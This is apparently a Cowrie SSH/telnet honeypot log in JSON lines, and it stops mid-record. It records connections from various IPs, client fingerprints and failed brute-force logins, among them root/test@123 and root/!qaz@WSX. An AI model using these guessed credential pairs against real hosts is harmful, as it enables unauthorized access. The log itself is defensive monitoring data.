{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:01.354661Z","src_ip":"165.154.137.186","session":"ffc831593e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:01.616520Z","src_ip":"165.154.137.186","session":"ffc831593e1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:02.403227Z","src_ip":"165.154.137.186","session":"ffc831593e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:03.668728Z","src_ip":"165.154.137.186","session":"ffc831593e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":37056,"dst_ip":"159.203.135.109","dst_port":22,"session":"595837ca6f9e","protocol":"ssh","message":"New connection: 132.148.155.138:37056 (159.203.135.109:22) [session: 595837ca6f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:05.343119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:05.347182Z","src_ip":"132.148.155.138","session":"595837ca6f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:05.411973Z","src_ip":"132.148.155.138","session":"595837ca6f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave123","message":"login attempt [arweave/arweave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:05.615919Z","src_ip":"132.148.155.138","session":"595837ca6f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:06.684003Z","src_ip":"132.148.155.138","session":"595837ca6f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57480,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b7488d9aa56","protocol":"ssh","message":"New connection: 8.210.75.243:57480 (10.17.0.5:22) [session: 5b7488d9aa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:21.403396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:21.407552Z","src_ip":"8.210.75.243","session":"5b7488d9aa56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:22.082123Z","src_ip":"8.210.75.243","session":"ebb2edfda3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":41304,"dst_ip":"10.17.0.5","dst_port":22,"session":"0599c3765984","protocol":"ssh","message":"New connection: 185.242.3.195:41304 (10.17.0.5:22) [session: 0599c3765984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:26.787016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:26.791534Z","src_ip":"185.242.3.195","session":"0599c3765984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:26.881294Z","src_ip":"185.242.3.195","session":"0599c3765984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zcadqe","message":"login attempt [root/zcadqe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:27.144829Z","src_ip":"185.242.3.195","session":"0599c3765984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:28.234779Z","src_ip":"185.242.3.195","session":"0599c3765984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43782,"dst_ip":"159.203.135.109","dst_port":23,"session":"105d990d8fa8","protocol":"telnet","message":"New connection: 170.64.224.25:43782 (159.203.135.109:23) [session: 105d990d8fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:41.489098Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":40592,"dst_ip":"10.17.0.5","dst_port":22,"session":"222463d80ff1","protocol":"ssh","message":"New connection: 101.47.159.50:40592 (10.17.0.5:22) [session: 222463d80ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:54.630708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:54.634799Z","src_ip":"101.47.159.50","session":"222463d80ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:54.878252Z","src_ip":"101.47.159.50","session":"222463d80ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:55.338838Z","src_ip":"8.210.75.243","session":"3ba6044f0cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"9999","message":"login attempt [user/9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:55.886295Z","src_ip":"101.47.159.50","session":"222463d80ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:57.132109Z","src_ip":"101.47.159.50","session":"222463d80ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53444,"dst_ip":"10.17.0.5","dst_port":22,"session":"66b9e1d0d6c3","protocol":"ssh","message":"New connection: 8.210.75.243:53444 (10.17.0.5:22) [session: 66b9e1d0d6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:05.858638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:05.867267Z","src_ip":"8.210.75.243","session":"66b9e1d0d6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38514,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc34d1811779","protocol":"ssh","message":"New connection: 165.154.137.186:38514 (10.17.0.5:22) [session: dc34d1811779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:06.951200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:06.954543Z","src_ip":"165.154.137.186","session":"dc34d1811779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:07.214782Z","src_ip":"165.154.137.186","session":"dc34d1811779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:07.996328Z","src_ip":"165.154.137.186","session":"dc34d1811779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53948,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27711c894d5","protocol":"ssh","message":"New connection: 165.154.137.186:53948 (10.17.0.5:22) [session: e27711c894d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:08.327185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:08.331033Z","src_ip":"165.154.137.186","session":"e27711c894d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:08.593784Z","src_ip":"165.154.137.186","session":"e27711c894d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:09.259970Z","src_ip":"165.154.137.186","session":"dc34d1811779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:09.384095Z","src_ip":"165.154.137.186","session":"e27711c894d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:09.910460Z","src_ip":"8.210.75.243","session":"66b9e1d0d6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:10.651677Z","src_ip":"165.154.137.186","session":"e27711c894d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":40346,"dst_ip":"159.203.135.109","dst_port":22,"session":"f651ae3957ae","protocol":"ssh","message":"New connection: 159.65.58.200:40346 (159.203.135.109:22) [session: f651ae3957ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:17.192139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:17.398006Z","src_ip":"159.65.58.200","session":"f651ae3957ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:17.400226Z","src_ip":"159.65.58.200","session":"f651ae3957ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0e6ffd3be82","protocol":"ssh","message":"New connection: 165.154.137.186:42096 (10.17.0.5:22) [session: e0e6ffd3be82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:17.967862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:18.197049Z","src_ip":"165.154.137.186","session":"e0e6ffd3be82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@